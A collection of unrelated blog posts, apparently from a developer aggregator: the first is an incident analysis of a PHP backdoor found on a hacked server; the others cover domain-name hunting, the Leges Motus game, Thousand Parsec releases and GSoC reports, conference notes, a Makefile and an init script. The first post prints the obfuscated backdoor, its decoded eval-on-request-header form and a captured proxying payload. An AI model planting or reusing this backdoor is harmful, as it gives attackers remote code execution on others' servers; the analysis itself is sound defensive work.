Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:

access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.

After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:

$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');

I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:

$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')

Base 64 decoding this string gives us:

if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b'  and isset($_SERVER['HTTP_X_CODE']))
    @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));

Finally, we’re getting somewhere!

Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):

header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
    echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr)."";
    exit;
}
echo "<$md5_info>".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
    $response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "<$md5_content>$response";
exit;

The definition of the curl_setopt call is as follows:

bool curl_setopt ( resource $ch , int $option , mixed $value )

Let’s break down all of the Curl options we are setting here.  Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:

• Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
• Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
• Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
• Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
• Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
• Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
• Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
• Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
• Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
  • “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
  • “Accept-Language: en-us”: Specifies that we are looking for an English return.
  • “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
  • “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
  • “Expect: “: Indicates that no behavior is required by the client.
  • “Accept-Encoding: “: Indicates that we accept all encoding.
  • “Keep Alive: 115″: Sets a keep-alive timeout of 115.
  • “Referer: <cut for clarity:  see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
• Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
• Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
• Option 10002 (CURLOPT_URL): Sets the URL to fetch.

If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.

It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.

I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.

References and Attributions:

1. PHP: curl_setopt
2. RFC2616: Hypertext Transfer Protocol — HTTP/1.1
3. Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.

When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used.  Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.

Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.

Andrew used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?

I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.

Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.

The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):

• thisholy.com
• thatecho.com
• homehide.com
• homemeet.com
• havethem.com

Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.

If there’s any interest, I will post my full list  (it’s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.

Well, Leges Motus v.0.3.0 is finally released! (Sorry about the delays – there were many things that got in the way of the release, both code-wise and project management-wise. But we’re past them now!)

But rather than rehash the new features (see the previous posts for those), I’m going to talk about what’s coming up.

We might take a long time to write 0.4.0 (yes, there will be another beta release before 1.0), but we’re going to try to make it worthwhile. We can’t promise any specific features will or will not get done, but here are some of the things I want to try to get in there:

1. Revamped internals. Over time, the initial design of some internal components has become a bit cumbersome. We created the original framework with quick and simple development in mind, but we now have goals that go far beyond the initial feature set. We want to separate the graphics from the game logic, so that we can create an AI client in the future. We also want to improve the GUI toolkit to make it easier to create dialog boxes and menus and such.

2. New weapons/functionality: I want to make two new weapons – a melee weapon that sends a pulse of energy out around the player to freeze nearby enemies, and a machine gun that must be charged briefly before it starts to fire (so it charges, fires a burst, and then needs to recharge). Additionally, I’d like to make the impact cannon fire in a small cone rather than just at a single point.

3. Menu art: We are hoping to recruit an artist we know to draw a nice menu screen background for us.

4. Keyboard settings and manual server connection menus: We want to allow users to easily change their keyboard bindings through the GUI, and to be able to connect to a server by typing in the IP address, if it’s not listed on the masterserver (currently, the latter can only be done using the command line arguments).

All of this will be a lot of work, especially when you include the smaller fixes and improvements. We’ll keep you posted.

This release merges last year's GSoC projects of refactoring and MTSec, along with many bug fixes, BattleXML support, media support in Minisec and tidyer libltdl support.

TPServer-cpp 0.7.0 is on the downloads page and will be on our SF downloads page soon. The GIT repo is tpserver-cpp (branch master) and the tag is TPSERVER_CPP_0_7_0. Feedback and suggestions are always welcome.

Bookmark/Search this post with:

- delicious - digg - technorati

New version to catch up with compilers and changes in the last 3 years. Mostly small things but ezod has rewritten the tokenizing to work better. All 0.1.x releases should be interface compatible. Hopefully documentation makes it in soon.

Libtprl 0.1.3 is on the downloads page and will be on alternative hosting shortly. The Git repo is libtprl and the tag is LIBTPRL_0_1_3. Feedback and suggestions are always welcome.

Bookmark/Search this post with:

- delicious - digg - technorati

We've been a bit busy. Time for Thousand Parsec's wrap up for GSoC 2009.

Overall, GSoC went well, and lots of exciting work was done. We have a working webclient, a 3D battle viewer, big improvements to the main client, big improvements to the main server, MTSec ruleset working, and big improvements to the secondary python protocol library.

Individual project details are below, in no particular order.

tpclient-pywx improvements

Greywhind worked on improvements to tpclient-pywx. This include tp04 media parameter support, resource overlay updates for tp04, download threading fixes and improvements, design window now works correctly, much nicer object properties window and orders window. Some of the improvements involved changes to libtpclient-py and libtpproto-py.

See Greywhind's final report in his blog for more

3D battleviewer

Landon has done an awesome job on creating a 3D battleviewer. It has all sorts of cool effects, including firing and explosions.

There are screenshots on Landon's blog and, more appropriately, a video of the battleviewer on YouTube.

MTSec

The MTSec ruleset in tpserver-cpp wasn't much more than stubs before GSoC. Alanp spent his time making it into a proper working game. This includes much design and component work, importing them from XML file.

Alanp has a more details in his final report on MTSec in his blog.

Webclient

tote developed a webclient for Thousand Parsec, which me was able to get it working enought to play Minisec. This included log in and out, star/planet map, orders, messages and object details. Very impressive.

libtpproto2-py

libtpproto2-py is a different python implementation of the TP protocol, its most significant feature is that the protocol objects are generated from the XML description of protocol. cherez made a number of significant improvements to the library, including updating it for parameter groups and TP04. He also developed an extensive unit test suite for the library.

tpserver-cpp refactoring

This was a big project and epyon worked hard to refactor tpserver-cpp to make it more maintainable. This gives a smaller core to tpserver-cpp, using more boost and STL, and hopefully setting up other improvements in future such as ASIO.

Parsek client update

A bonus, thanks to the KDE project. mhilmi worked on updating Parsek to use the latest (pre-release) version of libtpproto-cpp. This flushed out a few bugs in the library, and greatly improved the Parsek client. It is certainly a lot closer to being usable, including the new libtpproto-cpp asynchronous support.

Screenshots and more info about Parsek are available on mhilmi's blog.

The future

Most of the code changes made this year in GSoC have been merged to the mainline of the various code modules. We are actively working on merging the others. Just about all will be included in the next release versions of the various components.

Google has annouced Summer of Code for 2010. We are intending to apply again as mentoring organisation, so now is a good time to get involved (as is any time).

Bookmark/Search this post with:

- delicious - digg - technorati

At LCA yesterday I sat in on a miniconf presentation on memcached. It has inspired me to rewrite part of tpserver-cpp, to gut the Manager objects and use memcached instead.

But first I needed a library to make using memcached easier. The normal approach for C is to use libmemcached, but using C++ there are a few other options. Consistent with the development direction of tpserver-cpp, I was looking for a C++ library that is using boost, and especially boost::asio. I found two libraries, a better maintained one that doesn't do asynchronous networking and calls (memcache++, and one that does do asynchronous but hasn't been updated in over a year(memcacheasio). So for now, I'm going to use memcache++ with a short timeout, which should give an option of going to async in future.

As it’s only a couple of weeks till another Linux.conf.au is underway, I thought I better post this draft from the last one! This year LCA is in Wellington, New Zealand, sadly I didn’t get my act together enough to make a proper holiday of it. I’m definitely looking forward to catching up with all the cool hackers at the conference.

One of the best talks I went to Linux.conf.au last year was the Ksplice talk. This is a wonderful tool which allows people to develop “hot patches” so that you never need to reboot again. The developers have done some very cool work which means for 88% of patches a hot fix can be generated automatically. The presenter was a really great speaker too, during the talk he explains some advanced concepts (like hot to fix-up memory structures) I was able to easily understand it all. I can’t watch until I never have to reboot my Linux machines again!

I also attended Rusty’s tutorial on hacking lguest. Two years ago I submitted a very important patch to lguest which is now included in the kernel. This year I didn’t get as far as I had wanted mostly because I had not gotten enough sleep the night before. I did however submit one patch which was accepted. I guess that makes me a kernel hacker .

Sadly, Rusty won’t be running another lguest tutorial this year, so it’s unlikely I’ll submit a third patch.

LATEX= latex
DVIPS= dvips -j0 -Ppdf -u ps2pk.map -G0 -t letter -D 1200 -Z -mode ljfzzz
PS2PDF= ps2pdf -dEmbedAllFonts=true -dSubsetFonts=true

NAME= foo
FIGURES= images/*.eps

all: $(NAME).pdf

$(NAME).pdf: $(NAME).ps
    $(PS2PDF) $(NAME).ps $(NAME).pdf

$(NAME).ps: $(NAME).dvi
    $(DVIPS) -o $(NAME).ps $(NAME).dvi

$(NAME).dvi: $(NAME).tex $(FIGURES)
    $(LATEX) $(NAME).tex; $(LATEX) $(NAME).tex

clean:
    rm -f *.dvi *.ps *.pdf *.aux *.log *.lof *.lot *.toc

#!/sbin/runscript
# Copyright 1999-2009 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $

PIDFILE=/var/run/loggerhead.pid
LOGDIR=/var/log/loggerhead

depend() {
    need net
}

start() {
    ebegin "Starting loggerhead"
        start-stop-daemon --start --quiet --background \
        --make-pidfile --pidfile ${PIDFILE} \
        --exec /usr/bin/serve-branches -- --log-folder=${LOGDIR} \
        ${LOGGERHEAD_OPTS}
    eend $?
}                               
                                
stop() {                        
    ebegin "Stopping loggerhead"
        start-stop-daemon --stop --quiet \
        --pidfile ${PIDFILE}
    eend $?                 
}

LOGGERHEAD_OPTS="/var/bzr"

Well, it has been quite a while since I posted about Leges Motus. Sorry about that – we haven’t stopped working, I promise! (Although we took a break for a little while in August, we’re moving forward at a good rate now.)

There are a lot of new minor features and fixes coming up for Leges Motus 0.3.0, including bolding of important messages, italic and bracketed names for frozen players (for the partially colorblind, as we have had reports that frozen players can be hard to differentiate), and so forth.

Some of the really BIG new features, though, are more interesting to talk about:

First, multiple weapons. This is the most exciting one for me, because I see a world of possibilities opening up. (Also a lot of balancing, but that’s alright.) We’re adding some awesome new guns to the game, which you’ll be able to switch through and select, finding the right one for the situation. An example: there will be a gun that blasts a player backwards, freezing him for one second and causing 10 damage. This will be good for getting players away from your gate and giving your defense a moment of respite, for instance. There are a lot of different possibilities for guns, so this should open up a lot of gameplay potential.

We’re also mostly done with a bunch of new map obstacles and features. These include objects with gravity, friction, or hazardous effects, such as health damage or a brief freeze when you hit them. These can also be set to work against only one team, so the map creators have a lot of room for creativity in how to use them. Imagine, for example, a gate guarded by a corridor lined with hazardous obstacles, where the players have to navigate through with gun recoil alone. We’re still working on sprites for the new map objects – still interested in hearing from artists who might want to contribute.

Release date for 0.3.0 is still unknown. Quite a few things depend on new sprites. We’ll keep you posted.

It looks as if all features have been implemented in MTSec.  Since my last post I have done some cleaning up of the code, and it is much more presentable now.

All features are currently supported, this includes:

• Building Ships
• Building Weapons
• Production Capability
• Enhancement of Production Points
• Sending of Production Points to Another Planet
• Merging Fleets, Splitting Fleets
• Colonising a Planet
• Loading / Unloading of Armaments
• Combat

For a more detailed description of each feature, you can visit the MTSec Wiki.  I will still be keeping up with MTSec development post-GSoC period and hope to iron out any bugs that have been found.  For example today I found that Aaron’s compiler was giving no newline errors, but mine was not.  With a simple bash for loop, this has been fixed and committed.

Testing each feature is pretty self explanitory but I will go over a test scenario:

1. On the first turn, the “Build Fleet” order is a good one to try.  You can either use the design window in the TP04 client or use one of the predefined designs.
2. On the second turn, it is useful to build some sort of weapon.  As with the build ships order, you can either pick from a predefined design or create your own.  Right now I have the mining requirements off so that we can test a bit easier.  You can create more than one weapon here which will be useful for testing.  Please note that you can only Design Weaponry using the TP04 pywx client (make sure you select the Weapons Category!)
3. Now that you have (a) fleet(s),  and weaponry, it is useful to use the “Load Armament” order here to load the weaponry onto your ship.
4. Move to another planet.
5. Colonise the planet you moved to.
6. Unload some weaponry here.
7. Here you can test the enhance order.
8. Test the “Send Points” order by sending some of your production points to another planet.
9. Move towards another player’s planet/fleet.  This will initiate Combat
10. Success.

If you find any problems in this test scenario, please notify me immediately.  Please note that some of the features above require Greywhind’s TP04 pywx client. My mentor Aaron and I will be playing some test games over the next week, and I’m sure we will uncover some things that I will need to fix.

That’s about it for MTSec, hopefully we can get it pushed into the master branch and make it the default game of Thousand Parsec soon!

Summary

During this Google Summer of Code, I have worked on the wxPython Thousand Parsec game client, which was in need of an update to work with the project’s newest network protocol, named tp04. The servers were already configured to talk to a client using tp04, although I found a few server bugs and missing server features that required fixing and testing along the way. My goal was to have a working, playable client at the end of the summer that would allow real Thousand Parsec games to be played using tp04.

My full, detailed proposal can be viewed here.

Sub-goals

1. Merge in changes since the tp04 branch, such as single player (tpclient-pywx + libtpclient-py + libtpproto-py)
2. Starmap fixes to show new dynamic objects (tpclient-pywx)
3. Multiple coordinates should be dealt with and displayed properly (tpclient-pywx)
4. Easy viewing of new dynamic object properties (tpclient-pywx)
5. Media support in the client (tpclient-pywx)
6. Order panel reworking for multiple order queues (tpclient-pywx)
7. Support for “aged” properties being shown differently (tpclient-pywx)
8. Filter support in protocol, if not already implemented? (libtpproto-py)
9. Frame version checking, if necessary. (libtpproto-py, or libtpclient-py?)

I opted, in the end, not to puruse the goal of implementing support for aged properties. It would be a far-reaching change that would currently have very little use in actual games.

As added goals, to replace those I decided not to implement or that were already finished:

1. Improve media downloading support to allow threading.
2. Centralize media download tracking in the client.
3. Add a download panel that allows viewing and managing of downloads in progress.
4. Fix order copy/paste in the order queue.
5. Improve the information panel to show any kind of information (including images and interactive elements) in a collapsible, dynamic, organized format.
6. Show an image for an object in a popup panel on the starmap when the object is hovered.
7. Fix the design window to look better and have working functionality, whereas many buttons had been broken.

Progress towards goals

All of the goals other than those that were struck out as finished already or under the purview of another coder (the two that have been struck through, above), except for the aged properties, were completed during the course of the summer. This includes the seven additional goals that were added after the initial proposal. Although it it unfortunate that the aged properties had to be dropped, they were replaced by many more important and useful changes that would take less time to complete. This was agreed upon between myself and my mentor, Tim Ansell. I would, therefore, count this project as an overall success, as Thousand Parsec is now fully playable under at least three different rulesets using the tp04 version of the client. It also has a more effective and sharper looking GUI than the old version of the client, with enhanced information, design, and picture popup windows.

Details of progress, with screenshots

At the beginning of the summer, the client was mostly non-functional with tp04. You could select an object from a list of systems, and get some small amounts of information about it, but the starmap was blank, orders didn’t work, designs didn’t work, and so forth. All of these functions have been restored.

I have added per-object self-specified media support to the client. This is used in the starmap, the systems panel, the information panel, and the picture popup.

Seveal uses of media.

The various starmap overlays have also been fixed, showing systems and fleets correctly again. This includes the resource overlay, which was updated to work with the new dynamic property system.

The resources overlay, updated for tp04.

This also has come with the creation of a download panel, that shows and allows simultaneous downloads of files, as well as cancelling downloads.

Thousand Parsec download manager.

The design window has been fixed up. Many buttons were non-functional, but they work now. Designs can be added, renamed, copied, deleted, and modified. Categories can also be chosen for designs, which was not possible in the past.

Design window with better sizing and category chooser.

The objects without orders window has also been fixed to work with tp04.

There have been major improvements to the info panel. It used to just display text in a blob, about various properties of the object. Now, it dynamically generates fully-featured collapsible panels, with information, buttons, images, or any other content necessary to display the information about the object. This can be extended in the future, as well.

The info panel with media support.

The orders panel, which hadn’t been working at all, is now fully functional – it also has support for multiple order queues on a single object, which was not possible in tp03.

The new Thousand Parsec orders panel that works with tp04.

Overall, tp04 is in good working shape. It’s got a few areas that could still use improvement, but I believe that it is ready for an initial release.

Analysis of Methods

There are many lessons to take away from this year’s GSOC project. Most good, in this case, but of course some room for improvement as well.

Mentorship

I believe that my success in the project was strongly related to the dedication of my mentor, Tim Ansell. He was consistently available and willing to give me advice and to review my changes, leading me down the right path (though always pushing me to figure out the solutions myself whenever possible, which I believe has given me more confidence in my problem-solving and cooperative programming skills), and regularly checking in on my progress.

Concrete goals

The progress itself was another important factor. I always knew what my goal was, in a precise and fully defined way, due to a combination of pre-planned goals that were worked out for my original proposal and a set of new goals that emerged along the way. With a weekly meeting to discuss progress, I always was able to clearly state a goal for the coming week and to measure my concrete movement towards it. This was very useful in providing me with an indication of where I was in the project at any point in time, and I felt like I was always getting somewhere, even when I spent a day just researching or scratching my head over the next problem.

Time tracking

I believe that I used time-tracking software to my advantage as well in this respect. I kept a desktop widget going to track my time spent on the project each day, which motivated me to work on Thousand Parsec to meet the daily time requirements I set for myself. The desktop time-tracker was always there, so I never could forget that I had work to do. There was a slight downside to this, of course – if I set a time goal that was too low, I would run the risk of feeling like I could stop when there was more work I could be doing. It’s harder to get lost in coding and just keep going when you can watch a clock. Fortunately, I was able to avoid this for the most part, and I got the work done on time.

Another aspect of the time tracking was that I made very frequent blog updates and met with my mentor fequently, showing progress each time. At first, I posted daily blog updates. Later, I posted every two or three days, but it was still more frequent than just once per week.

Code reviews

One very important aspect of my experience during this GSOC was that, early on, my mentor and I decided to have all of my code reviewed using the Rietveld code review software. This software allows the uploading of changesets to a webpage, with fancy diff and comment support, so every change can be monitored and commented before it’s finalized. I think that this was a wonderful way to improve my code, decreasing the risk of a bad patch or a change that could be considered too much of a hack, or even just a missed print statement or stylistic faux-pas. I think that using Rietveld has allowed me to create code that will last longer and be more finely tuned to the project’s needs.

Downsides of this approach

There are a few downsides to the approach that we took during this GSOC. It requires a great deal of time and effort from the mentor, who needs ot have a lot of patience and be willing to look over every aspect of the project as it happens. This can be too much to ask, in some cases. Additionally, the student must be willing to accept criticism and to consistently stick to the plan of constant status updates, This can be taxing, as some code reviews drag out into large numbers of revisions. However, I think that it ends in a better product, overall.

Where do we go from here?

Given all of this work during GSOC, it’s important to have a sense of the future. We don’t want this work to stop, obviously. There are still parts of the client that could be much better: the help system needs work, window configuration should save on exit and load on startup, and paths are not shown on the starmap. The most important thing is to release the new client, bringing it lots of bug reports and giving us an incentive to keep working. This will require some packaging, release notes, etc.

There are many possibilities with this new tp04 protocol, and the rulesets we have currently only scratch the surface. Now that the client can deal with the new features, I think there will be some more creative rulesets that take advantage of them. I hope to see the unique gameplay that can be developed with tp04 in the future.

I, personally, will be forced to spend more time working on school projects than on Thousand Parsec. I will hope to find some time, however, to work with the project in the future.

Overall Statistics

Total commits: 70
Total lines of code changed (approx.): 4805
Total hours spent on project (approx.): 256
Approx. hours per week, average: 22 hrs.

Per module

Commits per month to tpclient-pywx:
2009-08 Greywhind : 6
2009-07 Greywhind : 10
2009-06 Greywhind : 18
2009-05 Greywhind : 14
Total commits: 57
Total lines of code changed or added: 4329

Commits per month to libtpclient-py:
2009-08 Greywhind: 1
2009-07 Greywhind: 2
2009-06 Greywhind : 4
2009-05 Greywhind: 3
Total commits: 10
Total lines of code changed or added: 446

Commits per month to libtpproto-py:
2009-06 Greywhind : 1
2009-05 Greywhind: 2
Total commits: 3
Total lines of code changed or added: 30

I guess the Terminator warned us this time would be coming. Today I committed some of the new features in Parsek to KDE server. You can find a link to the repo here. Give it a try and let me know if you have any problems. Quickly after starting, you will realize this is still very much a work in progress. I guess I underestimated the complexities of building a game client and have failed to deliver all the originally planned features. I see the work done for GSOC as big step in the evolution of Parsek and it will allow me to continue developing Parsek into a premier Thousand Parsec client. Once the coming soon features described below are ready, I will be uploading the GSOC changes to the Thousand Parsec git repositories as well.

Current Features
Users can now connect to game servers, select games, join, and later disconnect cleanly.
A status manager responds to events from the protocol library.
A corresponding status widget displays connection status, server information, and game information.
A clock displays the time until end of turn (EOT) events.
A logger widget provides debugging and error messages. The logger is a implemented with a filterable model.
Users can view the game universe with the object viewer. The object viewer, tied to an object model, provides basic information about selected objects.

Bugs and Quirks
There remains several unresolved bugs that still need work.
1) The object viewer does not display the last modified time in proper format.
2) The object viewer does not correctly read the object type.
3) The EOT clock could be formatted in hh:mm:ss instead of just seconds.

Undelivered Feature Status
